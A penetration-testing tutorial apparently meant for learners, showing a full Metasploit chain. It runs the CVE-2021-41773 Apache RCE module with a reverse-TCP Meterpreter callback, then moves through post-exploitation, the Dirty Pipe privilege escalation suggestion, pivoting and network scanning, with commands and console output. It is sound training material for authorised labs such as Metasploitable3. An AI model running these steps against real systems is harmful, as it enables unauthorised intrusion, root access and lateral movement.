In 2021, the Kaseya VSA breach showed attackers chaining known CVEs against unpatched endpoints at scale. Most of those vulnerabilities had working Metasploit modules sitting in the public framework for months before the attack. Metasploit is not just a beginner toy — it is the exploitation backbone that professionals use daily, from initial access through full post-exploitation. This guide walks you through the real workflow.
Setting Up and Finding Your First Module
Metasploit ships with Kali Linux. Launch the console and you are dropped into msfconsole — a command-line interface to every exploit, payload, and auxiliary module in the framework. The first skill is searching fast.
Say your Nmap scan found the target srv-web01.corp.internal (192.0.2.45) running an older version of Apache HTTP Server. You want to know what Metasploit has for it.
msf6 > search type:exploit name:apache http
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/apache_mod_cgi_bash_env 2014-09-24 excellent Yes Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
1 exploit/unix/webapp/apache_activemq_upload 2016-06-01 excellent Yes Apache ActiveMQ Fileserver Upload
2 exploit/multi/http/apache_normalize_path_rce 2021-10-05 excellent Yes Apache 2.4.49/2.4.50 Path Traversal RCE (CVE-2021-41773)
Line 2 is CVE-2021-41773 — a path traversal to RCE bug in Apache 2.4.49 and 2.4.50. The Rank: excellent means it is reliable and unlikely to crash the target. Check: Yes means you can safely probe whether the target is vulnerable before firing the full exploit.
Select it and inspect the required options before you touch anything else.
msf6 > use exploit/multi/http/apache_normalize_path_rce
msf6 exploit(apache_normalize_path_rce) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes Target host(s)
RPORT 80 yes Target port
LHOST yes Local IP for reverse shell
LPORT 4444 yes Local port
Set your options, run check first, then run. That two-step habit stops you from hammering production systems unnecessarily.
Executing the Exploit and Working a Meterpreter Session
After confirming the target is vulnerable, configure everything and launch. Metasploit defaults to a Meterpreter payload — an in-memory agent that gives you a feature-rich shell without writing a binary to disk.
msf6 exploit(apache_normalize_path_rce) > set RHOSTS 192.0.2.45
msf6 exploit(apache_normalize_path_rce) > set LHOST 192.0.2.10
msf6 exploit(apache_normalize_path_rce) > run
[*] Started reverse TCP handler on 192.0.2.10:4444
[*] Sending exploit request to 192.0.2.45:80
[*] Sending stage (175686 bytes) to 192.0.2.45
[*] Meterpreter session 1 opened (192.0.2.10:4444 -> 192.0.2.45:49212)
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : srv-web01
OS : Linux srv-web01 5.15.0-91-generic
Meterpreter : x86/linux
You landed as www-data — a low-privilege web server account. That matters. It tells you privilege escalation is your next move before you can touch anything sensitive. Run getuid and sysinfo on every new session. Always know exactly where you are before you go deeper.
Post-Exploitation: Pivoting and Privilege Escalation
This is where Metasploit separates itself from standalone exploits. Post modules let you escalate, pivot, and harvest credentials without leaving the framework. Background your session first, then run a local exploit suggester.
meterpreter > background
[*] Backgrounding session 1...
msf6 > use post/multi/recon/local_exploit_suggester
msf6 post(local_exploit_suggester) > set SESSION 1
msf6 post(local_exploit_suggester) > run
[*] 192.0.2.45 - Collecting local exploits for x86/linux...
[+] 192.0.2.45 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable.
[+] 192.0.2.45 - exploit/linux/local/su_login: The target appears to be vulnerable.
CVE-2022-0847 (Dirty Pipe) is a kernel privilege escalation — it overwrites read-only files, including /etc/passwd. If that fires, you go from www-data to root in seconds. Use sessions -i 1 to jump back into the session, load the module, and point it at session 1 exactly as before.
Once you have root, the pivot workflow opens up. Metasploit’s route add command lets you funnel traffic through the compromised host into internal network segments the attacker machine cannot reach directly. From there, you repeat the process — scan, search, exploit — against 192.0.2.0/24 internal targets that were previously invisible.
One Advanced Habit: Save Your Work
Professionals use workspace commands to keep engagements separated and db_nmap instead of raw Nmap — every scan result lands directly in the Metasploit database, making pivoting and module targeting dramatically faster.
msf6 > workspace -a corp-engagement
msf6 > db_nmap -sV -O 192.0.2.0/24
Now every host, port, and service discovered is queryable inside msfconsole with hosts and services commands. That is how real engagements are managed — not a dozen terminal tabs.
What To Do Now
Spin up a legal practice target — Metasploitable3 is free and purpose-built for this. Run db_nmap -sV 192.0.2.x against it inside msfconsole, pick one open service, find its module with search, and walk a full session from exploit to local_exploit_suggester. One complete chain, start to finish, today. That single rep teaches you more than reading ten guides.
